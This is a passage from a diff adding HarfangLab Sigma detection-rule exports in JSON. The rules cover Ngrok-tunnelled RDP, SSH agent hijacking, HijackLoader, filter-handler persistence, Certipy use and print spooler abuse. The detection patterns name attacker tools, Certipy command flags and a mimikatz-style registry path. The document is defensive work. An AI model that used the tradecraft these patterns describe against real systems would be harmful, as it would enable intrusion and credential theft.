+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628102Z",
+  "creation_date": "2026-03-23T11:45:34.628104Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628108Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1519710302820089857",
+    "https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel",
+    "https://attack.mitre.org/software/S0508/",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1090_ngrok_tunneling_source_address.yml",
+  "content": "title: RDP Logon via Ngrok Tunnel\nid: 49ed1286-c309-4fb0-bcfc-67f8039069c4\ndescription: |\n    Detects the usage of Ngrok to connect to the local RDP service remotely.\n    Ngrok is a tool that allows users to expose their local servers to the Internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\n    It is recommended to investigate the activity of the user in the RDP session.\nreferences:\n    - https://twitter.com/malmoeb/status/1519710302820089857\n    - https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel\n    - https://attack.mitre.org/software/S0508/\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2023/02/12\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.s0508\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Tool.Ngrok\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection_network:\n        SourceIp:\n            - '::1'\n            - '::ffff:7f00:1'\n            - '127.0.0.1'\n            - '::ffff:127.0.0.1'\n        DestinationIp:\n            - '::1'\n            - '127.0.0.1'\n            - '::ffff:7f00:1'\n            - '::ffff:127.0.0.1'\n        DestinationPort: '3389'\n        Initiated: 'true'\n\n    selection_proc:\n        - ProcessImage|endswith: '\\ngrok.exe'\n        - ProcessOriginalFileName: 'ngrok.exe'\n        - ProcessProduct: 'ngrok agent'\n        - ProcessImphash: 'FF9F3A86709796C17211F9DF12AAE74D'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "49ed1286-c309-4fb0-bcfc-67f8039069c4",
+  "rule_name": "RDP Logon via Ngrok Tunnel",
+  "rule_description": "Detects the usage of Ngrok to connect to the local RDP service remotely.\nNgrok is a tool that allows users to expose their local servers to the Internet, which enables attackers to tunnel malicious traffic through an otherwise secure network.\nIt is recommended to investigate the activity of the user in the RDP session.\n",
+  "rule_creation_date": "2023-02-12",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4a11a4e5-5039-4595-9c44-2407ad083066",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612568Z",
+  "creation_date": "2026-03-23T11:45:34.612572Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612579Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://embracethered.com/blog/posts/2022/ttp-diaries-ssh-agent-hijacking/",
+    "https://attack.mitre.org/techniques/T1563/001/"
+  ],
+  "name": "t1563_001_ssh_session_hijacking_linux.yml",
+  "content": "title: SSH Session Hijacking (Linux)\nid: 4a11a4e5-5039-4595-9c44-2407ad083066\ndescription: |\n    Detects the execution of the ssh binary with the SSH_AUTH_SOCKET variable being set to an ssh-agent UNIX socket in the command-line.\n    Attackers may use this to query SSH Agent sockets of other users or services and leverage private keys for which they did not have access.\n    It is recommended to investigate any traces of compromise in the machine where this SSH connection began, and to closely monitor the target machine to determine if the connection is malicious.\nreferences:\n    - https://embracethered.com/blog/posts/2022/ttp-diaries-ssh-agent-hijacking/\n    - https://attack.mitre.org/techniques/T1563/001/\ndate: 2024/03/04\nmodified: 2025/11/10\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.PrivilegeEscalation\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-?????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-??????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-???????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-?????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-??????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-???????????/agent'\n            - 'SSH_AUTH_SOCK=/tmp/ssh-????????????/agent'\n\n    exclusion_image:\n        Image:\n            - '/usr/bin/env'\n            - '/usr/bin/systemctl'\n            - '/usr/bin/echo'\n            - '*/_bazel_steeve/*/process-wrapper'\n\n    exclusion_env:\n        CommandLine|contains|all:\n            - 'DESKTOP_SESSION='\n            - 'PATH=/usr/local/sbin:'\n            - 'LANG='\n            - 'PWD=/home/'\n            - 'SSH_AGENT_PID='\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4a11a4e5-5039-4595-9c44-2407ad083066",
+  "rule_name": "SSH Session Hijacking (Linux)",
+  "rule_description": "Detects the execution of the ssh binary with the SSH_AUTH_SOCKET variable being set to an ssh-agent UNIX socket in the command-line.\nAttackers may use this to query SSH Agent sockets of other users or services and leverage private keys for which they did not have access.\nIt is recommended to investigate any traces of compromise in the machine where this SSH connection began, and to closely monitor the target machine to determine if the connection is malicious.\n",
+  "rule_creation_date": "2024-03-04",
+  "rule_modified_date": "2025-11-10",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4a1e6461-19e3-4d1c-98d6-49e65f012252",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083062Z",
+  "creation_date": "2026-03-23T11:45:34.083064Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083068Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader",
+    "https://www.crowdstrike.com/blog/hijackloader-expands-techniques/"
+  ],
+  "name": "t1055_012_suspicious_file_execution_hijackloader.yml",
+  "content": "title: Execution Related to HijackLoader\nid: 4a1e6461-19e3-4d1c-98d6-49e65f012252\ndescription: |\n    Detects the execution of the 32 bits version of more.com.\n    HijackLoader executes the 32 bits version of more.com from the malware for process hollowing purposes.\n    HijackLoader is a defense evasion oriented loader relying mostly on DLL Sideloading and a custom variant of Process Hollowing.\n    It usually drops Stealers as final payloads.\n    It is recommended to check any children of the more.com process and the activities of the parent for other malicious behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader\n    - https://www.crowdstrike.com/blog/hijackloader-expands-techniques/\ndate: 2024/09/16\nmodified: 2025/03/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Loader.HijackLoader\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_process:\n        Image: '?:\\Windows\\SysWOW64\\more.com'\n        ParentImage|endswith:\n            - '\\setup.exe'\n            - '\\Set-up.exe'\n\n    selection_parent:\n        ParentImage: '?:\\Windows\\SysWOW64\\more.com'\n\n    filter_werfault:\n        Image:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: ' -u -p '\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4a1e6461-19e3-4d1c-98d6-49e65f012252",
+  "rule_name": "Execution Related to HijackLoader",
+  "rule_description": "Detects the execution of the 32 bits version of more.com.\nHijackLoader executes the 32 bits version of more.com from the malware for process hollowing purposes.\nHijackLoader is a defense evasion oriented loader relying mostly on DLL Sideloading and a custom variant of Process Hollowing.\nIt usually drops Stealers as final payloads.\nIt is recommended to check any children of the more.com process and the activities of the parent for other malicious behavior.\n",
+  "rule_creation_date": "2024-09-16",
+  "rule_modified_date": "2025-03-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4a399726-1f85-453e-af29-8b49596803de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072388Z",
+  "creation_date": "2026-03-23T11:45:34.072390Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072395Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/win32/search/-search-ifilter-registering-filters",
+    "https://persistence-info.github.io/Data/ifilters.html",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_filter_handlers.yml",
+  "content": "title: Possible Filter Handlers Persistence Added\nid: 4a399726-1f85-453e-af29-8b49596803de\ndescription: |\n    Detects the creation or edition of the Filter Handlers registry keys that allows dll execution on specific file extension openings.\n    This method is used as a means to achieve persistence by putting a malicious DLL as a filter handler.\n    The DLL is loaded when a file of the extension is opened.\n    It is recommended to investigate the process that sets the registry value for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/win32/search/-search-ifilter-registering-filters\n    - https://persistence-info.github.io/Data/ifilters.html\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|startswith:\n            - 'HKLM\\Software\\Classes\\.*\\PersistentHandler'\n            - 'HKLM\\Software\\Classes\\CLSID\\{????????-????-????-????-????????????}\\PersistentAddinsRegistered'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4a399726-1f85-453e-af29-8b49596803de",
+  "rule_name": "Possible Filter Handlers Persistence Added",
+  "rule_description": "Detects the creation or edition of the Filter Handlers registry keys that allows dll execution on specific file extension openings.\nThis method is used as a means to achieve persistence by putting a malicious DLL as a filter handler.\nThe DLL is loaded when a file of the extension is opened.\nIt is recommended to investigate the process that sets the registry value for suspicious activities.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4a452d8f-d9b8-48d3-a992-b3b40e438513",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091124Z",
+  "creation_date": "2026-03-23T11:45:34.091126Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091130Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ly4k/Certipy",
+    "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
+    "https://attack.mitre.org/techniques/T1649"
+  ],
+  "name": "t1649_local_certipy_execution.yml",
+  "content": "title: Local Certipy Execution\nid: 4a452d8f-d9b8-48d3-a992-b3b40e438513\ndescription: |\n    Detects Certipy, an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS).\n    AD CS is a Microsoft technology that provides public key infrastructure (PKI) functionality to create, manage, and distribute digital certificates.\n    These certificates are used for various security protocols such as SSL/TLS, signing code, and encrypting emails or files.\n    This rule detects different command-lines associated with the local usage of the Certipy tool which is used by adversaries to enumerate, manage and forge domain certificates.\n    It is recommended to investigate the source of the offending processes to determine if the action taken with this tool was malicious\nreferences:\n    - https://github.com/ly4k/Certipy\n    - https://posts.specterops.io/certified-pre-owned-d95910965cd2\n    - https://attack.mitre.org/techniques/T1649\ndate: 2024/07/11\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1649\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Certipy\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - OriginalFileName: 'certipy.exe'\n        - Image|endswith: '\\certipy.exe'\n        - Description|contains: 'certipy'\n\n    selection_cmdline_1:\n        CommandLine|contains|all:\n            - ' -target '\n            - ' -ca '\n            - ' -upn '\n\n    selection_cmdline_2:\n        CommandLine|contains:\n            - ' -ca-pfx '\n            - ' -kirbi'\n            - ' -old-bloodhound'\n            - ' -bloodhound'\n            - ' -vulnerable'\n\n    selection_auth:\n        CommandLine|contains|all:\n            - ' auth '\n            - ' -pfx '\n\n    selection_ptt:\n        CommandLine|contains|all:\n            - ' ptt '\n            - ' -req '\n            - ' -u'\n\n    relay_1:\n        CommandLine|contains: ' relay '\n\n    relay_2:\n        CommandLine|contains:\n            - ' -target '\n            - ' -ca '\n\n    account_1:\n        CommandLine|contains|all:\n            - ' account '\n            - ' -u'\n\n    account_2:\n        CommandLine|contains:\n            - ' create'\n            - ' read'\n            - ' update'\n            - ' delete'\n\n    shadow_1:\n        CommandLine|contains: ' shadow '\n\n    shadow_2:\n        CommandLine|contains:\n            - ' list'\n            - ' add'\n            - ' remove'\n            - ' clear'\n            - ' info'\n            - ' auto'\n\n    exclusion_microsoft:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    exclusion_dropbox:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Dropbox, Inc'\n\n    exclusion_certutil:\n        CommandLine|contains: 'certutil '\n\n    exclusion_pdf:\n        CommandLine|endswith: '.pdf'\n\n    exclusion_firefox:\n        ProcessImage: '?:\\Program Files\\Mozilla Firefox\\firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n\n    exclusion_git:\n        - ProcessImage|endswith: '\\git.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Johannes Schindelin'\n        - ProcessImage:\n            - '?:\\Program Files\\Git\\bin\\bash.exe'\n            - '?:\\Program Files\\Git\\usr\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n        - ProcessParentImage:\n            - '?:\\Program Files\\Git\\bin\\bash.exe'\n            - '?:\\Program Files\\Git\\usr\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n\n    exclusion_vlc:\n        ProcessImage|endswith: '\\vlc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'VideoLAN'\n\n    exclusion_jetbrains:\n        ProcessImage|endswith: '\\runnerw.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'JetBrains s.r.o.'\n\n    exclusion_vscode:\n        ParentImage:\n            - '?:\\Program Files\\Microsoft VS Code\\Code.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n        GrandparentImage:\n            - '?:\\Program Files\\Microsoft VS Code\\Code.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n\n    exclusion_irfanview:\n        ParentImage: '?:\\Program Files\\IrfanView\\i_view64.exe'\n\n    condition: (1 of selection_* or all of account_* or all of shadow_* or all of relay_*) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4a452d8f-d9b8-48d3-a992-b3b40e438513",
+  "rule_name": "Local Certipy Execution",
+  "rule_description": "Detects Certipy, an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS).\nAD CS is a Microsoft technology that provides public key infrastructure (PKI) functionality to create, manage, and distribute digital certificates.\nThese certificates are used for various security protocols such as SSL/TLS, signing code, and encrypting emails or files.\nThis rule detects different command-lines associated with the local usage of the Certipy tool which is used by adversaries to enumerate, manage and forge domain certificates.\nIt is recommended to investigate the source of the offending processes to determine if the action taken with this tool was malicious\n",
+  "rule_creation_date": "2024-07-11",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1649"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4a77686d-2ab7-4cde-9662-336a29faed1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607466Z",
+  "creation_date": "2026-03-23T11:45:34.607469Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607477Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1574_spoolsv_new_provider.yml",
+  "content": "title: Spoolsv Print Provider Added\nid: 4a77686d-2ab7-4cde-9662-336a29faed1a\ndescription: |\n    Detects the installation of a new print provider.\n    Attackers may install new print provider services to exploit vulnerabilities in the printer service (such as CVE-2021-1675) and gain code execution through the spoolsv binary.\n    It is recommended to analyze the DLL pointed to by the registry value to determine its legitimacy, as well as to look for malicious actions originating from the spoolsv process.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2021/07/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1055\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.Spooler\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        Image|endswith: '\\spoolsv.exe'\n        # NOTE: spoolsv AddNewProvidor function is in charge of writting it.\n        # HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Drivers\\Version-3\\mimikatz-{438047e2-911d-4073-9be6-be3530c13385}-reallylegitprinter\\Configuration File\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Drivers\\Version-?\\\\*\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Drivers\\Version-?\\\\*\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows ARM64\\Drivers\\Version-?\\\\*\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows IA64\\Drivers\\Version-?\\\\*\\Configuration File'\n\n    exclusion_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_legitimate_drivers:\n        - Details:\n            - 'PS5UI.DLL'\n            - 'PS5UI.DLL?'\n          TargetObject|endswith:\n            - '\\Version-3\\Adobe PDF Converter\\Configuration File'\n            - '\\Version-3\\BluebeamPSDriver\\Configuration File'\n            - '\\Version-3\\PDF24\\Configuration File'\n            - '\\Version-3\\Brother *\\Configuration File'\n            - '\\Version-3\\FaxManager\\Configuration File'\n            - '\\Version-3\\PDFCreator\\Configuration File'\n            - '\\Version-3\\Xerox *\\Configuration File'\n            - '\\Version-3\\Toshiba * PS3\\Configuration File' # (seen Toshiba Universal PS, Toshiba Generic Printer PS3)\n            - '\\Version-3\\KONICA MINOLTA *\\Configuration File'\n            - '\\Version-3\\MS Publisher *\\Configuration File' # (seen MS Publisher Color Printer, MS Publisher Imagesetter)\n            - '\\Version-3\\Lexmark *\\Configuration File'\n            - '\\Version-3\\HP *\\Configuration File' # (seen HP Color LaserJet 2800 Series PS)\n            - '\\Version-3\\Toshiba e-STUDIO*\\Configuration File' # (seen Toshiba e-STUDIO3500c PS3)\n            - '\\Version-3\\Ricoh *\\Configuration File' # (seen Ricoh Aficio MP 3500 PS / RICOH SP 3600DN PS)\n            - '\\Version-3\\LANIER *\\Configuration File' # (seen LANIER SP 3600DN PS)\n            - '\\Version-3\\Roland VersaWorks Dual\\Configuration File'\n            - '\\Version-3\\VersaWorks\\Configuration File'\n            - '\\Version-3\\PS Driver for Universal Print\\Configuration File'\n            - '\\Version-3\\Wondershare PDFelement\\Configuration File'\n            - '\\Version-3\\Gestetner *\\Configuration File' # (Gestetner MP CW2200 PS)\n            - '\\Version-3\\Kyocera *\\Configuration File' # (Kyocera TASKalfa 5004i (KPDL))\n            - '\\Version-3\\Oce PRISMAaccess Web driver\\Configuration File'\n            - '\\Version-3\\TP Output Gateway PS\\Configuration File'\n            - '\\Version-3\\Nitro PDF Driver *\\Configuration File' # (Nitro PDF Driver 13)\n            - '\\Version-3\\CutePDF Writer v?.?\\Configuration File' # (CutePDF Writer v3.2, CutePDF Writer v4.0)\n            - '\\Version-3\\uniFLOW Universal Driver\\Configuration File'\n            - '\\Version-3\\ES*\\Configuration File' # (ES7170 MFP(PS))\n            - '\\Version-3\\Samsung *\\Configuration File' # (Samsung ML-371x Series PS)\n        - Details:\n            - 'FXSUI.DLL'\n            - 'FXSUI.DLL?'\n          TargetObject|endswith: '\\Version-3\\Microsoft Shared Fax Driver\\Configuration File'\n        - Details:\n            - 'E_?UIC??E.DLL'\n            - 'E_?UIC??E.DLL?'\n          TargetObject|endswith: '\\Version-3\\Epson *\\Configuration File' # (Epson SX125 Series)\n        - Details:\n            - 'PrintConfig.dll'\n            - 'PrintConfig.dll?'\n          TargetObject|endswith: '\\Version-3\\Microsoft enhanced Point and Print compatibility driver\\Configuration File'\n        - Details:\n            - 'unidrvui.dll'\n            - 'unidrvui.dll?'\n          TargetObject|endswith:\n            - '\\Version-3\\Webex Document Loader\\Configuration File'\n            - '\\Version-3\\uniFLOW Universal PclXL Driver\\Configuration File'\n            - '\\Version-3\\Send to Microsoft OneNote *\\Configuration File'\n            - '\\Version-3\\HP*\\Configuration File'\n            - '\\Version-3\\Toshiba *\\Configuration File'\n            - '\\Version-3\\Generic / Text Only\\Configuration File'\n            - '\\Version-3\\Ricoh Aficio *\\Configuration File'\n            - '\\Version-3\\RICOH imagio *\\Configuration File'\n            - '\\Version-3\\Xerox *\\Configuration File'\n            - '\\Version-3\\Fax - HP ENVY 7640 series\\Configuration File'\n            - '\\Version-3\\Snagit ?? Printer\\Configuration File'\n            - '\\Version-3\\Sharp *\\Configuration File'\n            - '\\Version-3\\Nuance *\\Configuration File' # (Nuance Image Printer Driver, Nuance Universal Print Driver)\n            - '\\Version-3\\Kyocera *\\Configuration File'\n            - '\\Version-3\\Lexmark *\\Configuration File'\n            - '\\Version-3\\XPS Card Printer\\Configuration File'\n            - '\\Version-3\\Canon *\\Configuration 